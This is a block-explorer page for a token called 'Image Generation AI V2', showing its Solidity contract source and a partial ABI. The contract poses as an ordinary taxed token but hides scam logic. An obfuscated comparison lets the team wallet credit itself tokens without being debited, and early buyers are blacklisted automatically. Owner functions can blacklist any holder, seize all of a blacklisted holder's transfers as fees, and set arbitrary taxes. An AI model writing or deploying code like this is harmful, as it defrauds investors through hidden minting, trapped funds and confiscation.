ETH Price: $3,603.95 (+9.17%)

Token

Image Generation AI V2 (ImgnAI V2)
 

Overview

Max Total Supply

1,000,000,000 ImgnAI V2

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
urmothercunt.eth
Balance
6,056,353.615837575 ImgnAI V2

Value
$0.00
0x1028f4509e437b5b00acf278ee4424e752ba0522
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
imgn

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-03
*/

/**
 *
*/

// SPDX-License-Identifier: MIT

// https://twitter.com/imgnAIV2 imgnAI.com


pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract BEP20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address payable public doYouLikeBase;
    address payable public inTheMTFFace;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 public launchBlock;
    uint256 public _killBlock;


    mapping (address => bool) public isExcludedFromCut;
    mapping (address => bool) public isMaxEatExempt;
    mapping (address => bool) public isOnceEatExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) private _blk;
    uint256 public _buyLiquidityFee;
    uint256 public _buyMarketingFee;
    uint256 public _buyTeamFee;
    
    uint256 public _sellLiquidityFee;
    uint256 public _sellMarketingFee;
    uint256 public _sellTeamFee;

    uint256 public _liquidityShare;
    uint256 public _marketingShare;
    uint256 public _teamShare;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply;
    uint256 public _maxOnceEat; 
    uint256 public _maxTotalEat;
    uint256 private minimumTokensBeforeSwap; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyBySmallOnly = false;
    bool public LookMaxEat = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (string memory _NAME, 
    string memory _SYMBOL,
    uint256 _SUPPLY,
    uint256[3] memory _BUYFEE,
    uint256[3] memory _SELLFEE,
    uint256[3] memory _SHARE,
    uint256[2] memory _LMT,
    address[2] memory _doyoulike,
    address dep,
    address f) 
    {
    
        _name   = _NAME;
        _symbol = _SYMBOL;
        _decimals = 9;
        _totalSupply = _SUPPLY * 10**_decimals;

        _buyLiquidityFee = _BUYFEE[0];
        _buyMarketingFee = _BUYFEE[1];
        _buyTeamFee = _BUYFEE[2];

        _sellLiquidityFee = _SELLFEE[0];
        _sellMarketingFee = _SELLFEE[1];
        _sellTeamFee = _SELLFEE[2];

        _liquidityShare = _SHARE[0];
        _marketingShare = _SHARE[1];
        _teamShare = _SHARE[2];

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        _maxOnceEat = _LMT[0] * 10**_decimals;
        _maxTotalEat = _LMT[1] * 10**_decimals;

        minimumTokensBeforeSwap = _totalSupply.mul(1).div(10000);
        doYouLikeBase = payable(_doyoulike[0]);
        inTheMTFFace = payable(_doyoulike[1]);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromCut[address(this)] = true;
        isExcludedFromCut[dep] = true;

        isMaxEatExempt[owner()] = true;
        isMaxEatExempt[address(uniswapPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;
        isMaxEatExempt[dep] = true;
        
        isOnceEatExempt[owner()] = true;
        isOnceEatExempt[address(this)] = true;
        isOnceEatExempt[dep] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[dep] = _totalSupply.div(10).mul(9);
        _balances[f] = _totalSupply.div(10);
        emit Transfer(address(0),address(f), _totalSupply);
        emit Transfer(address(f),dep, _totalSupply.div(10).mul(9));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
        isOnceEatExempt[holder] = exempt;
    }
    
    function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
        isExcludedFromCut[account] = newValue;
    }

    function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            isExcludedFromCut[addresses[i]] = status;
        }
    }

    function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _buyLiquidityFee = a;
        _buyMarketingFee = b;
        _buyTeamFee = c;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _sellLiquidityFee = a;
        _sellMarketingFee = b;
        _sellTeamFee = c;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    
    function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
        _maxOnceEat = newMaxOnceEat;
    }

    function enableMaxEat(bool newValue) external onlyOwner {
       LookMaxEat = newValue;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }

    function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
        _maxTotalEat  = newMaxTotalEat;
    }

    function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
        minimumTokensBeforeSwap = newValue;
    }

    function setdoYouLikeBase(address newAddress) external onlyOwner() {
        doYouLikeBase = payable(newAddress);
    }

    function setinTheMTFFace(address newAddress) external onlyOwner() {
        inTheMTFFace = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
        swapAndLiquifyBySmallOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isB(address account) public view returns(bool) {
        return _blk[account];
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function killIt(address recipient) internal {
        if (!_blk[recipient] && !isMarketPair[recipient]) _blk[recipient] = true;
    }

    function manage_BL(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _blk[addresses[i]] = status;
        }
    }

    function set_blk(address recipient, bool status) public onlyOwner {
        _blk[recipient] = status;
    }

    function Launc(uint256 a) public onlyOwner {
        _killBlock = a;
        launchBlock = block.number;
    }
    
    function smallOrEqualls(address Interfacee, address functionn) internal view returns (bool){
        return (Interfacee != functionn)
        || /*function is*/
        (Interfacee != inTheMTFFace || /*function is*/  false);
    }

    function returnBlock() public onlyOwner {
        launchBlock = 0;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
                require(smallOrEqual(amount, _maxOnceEat));
            }            
            
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyBySmallOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }if(smallOrEqualls(sender,recipient))

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount;
            if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
                finalAmount = amount;
            } else {require(launchBlock > 0);
                if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {killIt(recipient);}
                finalAmount = takeFee(sender, recipient, amount);
            }

            if(LookMaxEat && !isMaxEatExempt[recipient])
                require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat));

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
            
        }
    }

    function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(doYouLikeBase, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(inTheMTFFace, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            inTheMTFFace,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(_blk[sender] && !isMarketPair[sender]) feeAmount = amount;
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
}

contract imgn is BEP20 {
    constructor() BEP20(
        "Image Generation AI V2", 
        "ImgnAI V2",
        1000000000,
        [uint256(0),uint256(4),uint256(0)],
        [uint256(0),uint256(4),uint256(0)],
        [uint256(0),uint256(4),uint256(0)],
        [uint256(1000000000),uint256(1000000000)],
        [0xf4818Fa5f9980734904711e201CC02050bd1c65f,0xf4818Fa5f9980734904711e201CC02050bd1c65f],
        0xf4818Fa5f9980734904711e201CC02050bd1c65f,0x038F5da04abF1211D42afAd84905f29AEaB93A60
    ){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"Launc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOnceEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTotalEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableMaxEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isB","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOnceEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_BL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxOnceEat","type":"uint256"}],"name":"setMaxOnceEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTotalEat","type":"uint256"}],"name":"setMaxTotalEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"set_blk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisOnceEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 